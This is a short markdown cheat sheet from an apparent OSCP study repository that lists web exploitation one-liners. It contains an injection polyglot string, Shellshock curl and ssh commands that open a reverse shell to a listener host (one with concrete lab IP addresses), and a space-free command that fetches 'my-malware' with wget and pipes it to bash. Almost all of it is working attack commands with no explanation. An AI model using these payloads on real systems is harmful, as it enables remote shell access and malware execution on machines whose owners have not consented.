oscp/Necronomicon/Attacks/Web Exploitation/Misc.md

• Injection vulnerability omnibuses

dddd",'|&$;:`({{@<%=ddd

• Shellshock
  • curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status
  • curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status
  • ssh username@IPADDRESS '() { :;}; /bin/bash'
• RCE where no spaces are allowed (python required)
  • python3$IFS-c'print(b"wget\x20http://my-malware".decode())'|bash